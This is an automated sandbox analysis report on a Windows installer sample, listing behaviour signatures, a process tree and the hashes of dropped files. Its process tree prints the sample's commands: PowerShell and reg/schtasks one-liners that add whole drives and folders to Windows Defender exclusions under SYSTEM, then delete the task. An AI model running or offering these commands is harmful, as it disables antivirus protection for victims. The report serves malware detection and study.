Analysis

  • max time kernel
    145s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 02:55

General

  • Target
    install.2.0.05.exe
  • Size 30.5MB
  • Sample261024-dew7dsft5z
  • SHA256 4c135389b3f42dbc015ba94da714f112a7204de4ede1cebbb5ca43105fea132d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.05.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.05.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:2680
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4788
    • C:\Users\Public\fwJ1Rb\A1DWNh.exe
      "C:\Users\Public\fwJ1Rb\A1DWNh.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3752
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:3192
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\fwJ1Rb\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:3540
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\fwJ1Rb\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4932
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:5816
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:6076
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            PID:932
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4860
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:3268
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:3236
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                PID:5548
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:2380
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:6100
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:5716
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    PID:3136
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:4652
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:3916
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:2476
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        PID:2888
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:1652
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:1680
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:4452
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\fwJ1Rb" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:4092
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\fwJ1Rb" /t REG_DWORD /d 0 /f
                            2⤵
                              PID:1520
                          • C:\Windows\system32\cmd.exe
                            cmd.exe
                            1⤵
                              PID:1592
                            • C:\Users\Public\fwJ1Rb\A1DWNh.exe
                              "C:\Users\Public\fwJ1Rb\A1DWNh.exe"
                              1⤵
                                PID:2784
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:2840
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:2276
                                • C:\Windows\system32\cmd.exe
                                  "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                  1⤵
                                  • Executes a command shell one-liner
                                  PID:2240
                                  • C:\Windows\System32\reg.exe
                                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                    2⤵
                                      PID:2956
                                  • C:\Windows\system32\cmd.exe
                                    "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                    1⤵
                                    • Executes a command shell one-liner
                                    PID:4324
                                    • C:\Windows\System32\reg.exe
                                      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                      2⤵
                                        PID:5472

                                    Network

                                          MITRE ATT&CK Enterprise v16

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                                          Downloads

                                          0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                          • Size 1KB
                                          • SHA256 164ef2f06813f577119a7e8c22a59c59f72b023ab67f531a2c517e6f12236b47
                                          • MD5 SHA1 SHA512 TLSH

                                          B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                          • Size 1KB
                                          • SHA256 e8ff3ea7013767d4d43b2e29aa6318dfdaa4ed7bef397acd82cea62836066316
                                          • MD5 SHA1 SHA512 TLSH

                                          0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                          • Size 512B
                                          • SHA256 9b9ae164b397ec6bbc8f37ddd76dd5b2956955b3f22541640fe2cde78d3e8a2d
                                          • MD5 SHA1 SHA512 TLSH

                                          B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                          • Size 506B
                                          • SHA256 10942b96828a0dc6455fad925baeba73b37facfa40a42f5153ee373c1d151a7b
                                          • MD5 SHA1 SHA512 TLSH

                                          A1DWNh.exe

                                          • Path C:\Users\Public\fwJ1Rb\A1DWNh.exe
                                          • Size 135KB
                                          • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          UxEnhance64.dll

                                          • Path C:\Users\Public\fwJ1Rb\UxEnhance64.dll
                                          • Size 3.1MB
                                          • SHA256 14fd0db567a0ea4fc9d0f8680f6ff849f269b72db422c8af855a4db67fa194f4
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          adoresd.dat

                                          • Path C:\Users\Public\fwJ1Rb\adoresd.dat
                                          • Size 4.8MB
                                          • SHA256 1f4bb1cc264994a67fb1fa295fef08a0db8c2e2e26861dd366754ff54cce69d6
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          msadox.tb

                                          • Path C:\Users\Public\fwJ1Rb\msadox.tb
                                          • Size 8KB
                                          • SHA256 9368576ba9911e9962704d4f6b6b0834ab08265983223a15133e16d4a337f615
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          memory/2680-527-0x00007FFD6AB30000-0x00007FFD6AB42000-memory.dmp

                                          memory/2680-526-0x00000000027B0000-0x00000000027BE000-memory.dmp

                                          memory/2680-504-0x00007FFD6AB30000-0x00007FFD6AB42000-memory.dmp

                                          memory/2680-0-0x00000000027B0000-0x00000000027BE000-memory.dmp

                                          memory/2680-2-0x00000000027C0000-0x00000000027CC000-memory.dmp

                                          memory/2680-1-0x00000000027B0000-0x00000000027BE000-memory.dmp

                                          memory/2784-591-0x0000011078280000-0x0000011078B57000-memory.dmp

                                          memory/2784-593-0x0000011078280000-0x0000011078B57000-memory.dmp

                                          memory/2784-590-0x0000011078280000-0x0000011078B57000-memory.dmp

                                          memory/2784-586-0x0000011078280000-0x0000011078B57000-memory.dmp

                                          memory/2784-585-0x00007FFD824C0000-0x00007FFD824C2000-memory.dmp

                                          memory/2784-583-0x0000011078280000-0x0000011078B57000-memory.dmp

                                          memory/2784-580-0x00007FFD5F830000-0x00007FFD5FD4E000-memory.dmp

                                          memory/2784-597-0x00007FFD824B0000-0x00007FFD824B2000-memory.dmp

                                          memory/2784-592-0x0000011078280000-0x0000011078B57000-memory.dmp

                                          memory/3192-603-0x0000018CE44E0000-0x0000018CE4502000-memory.dmp

                                          memory/3752-534-0x00007FFD5F830000-0x00007FFD5FD4E000-memory.dmp

                                          memory/3752-562-0x00000200202B0000-0x000002002033A000-memory.dmp

                                          memory/3752-567-0x000002001F940000-0x0000020020217000-memory.dmp

                                          memory/3752-569-0x000002001F940000-0x0000020020217000-memory.dmp

                                          memory/3752-570-0x000002001F940000-0x0000020020217000-memory.dmp

                                          memory/3752-563-0x00000200202B0000-0x000002002033A000-memory.dmp

                                          memory/3752-564-0x00000200202B0000-0x000002002033A000-memory.dmp

                                          memory/3752-565-0x00000200202B0000-0x000002002033A000-memory.dmp

                                          memory/3752-559-0x000002001F940000-0x0000020020217000-memory.dmp

                                          memory/3752-561-0x000002001EEA0000-0x000002001EEEE000-memory.dmp

                                          memory/3752-553-0x000002001F940000-0x0000020020217000-memory.dmp

                                          memory/3752-547-0x000002001F940000-0x0000020020217000-memory.dmp

                                          memory/3752-549-0x000002001F940000-0x0000020020217000-memory.dmp

                                          memory/3752-548-0x000002001F940000-0x0000020020217000-memory.dmp

                                          memory/3752-546-0x000002001F940000-0x0000020020217000-memory.dmp

                                          memory/3752-542-0x000002001F940000-0x0000020020217000-memory.dmp

                                          memory/3752-541-0x00007FFD824C0000-0x00007FFD824C2000-memory.dmp

                                          memory/3752-539-0x000002001F940000-0x0000020020217000-memory.dmp

                                          memory/3752-533-0x00007FFD824B0000-0x00007FFD824B2000-memory.dmp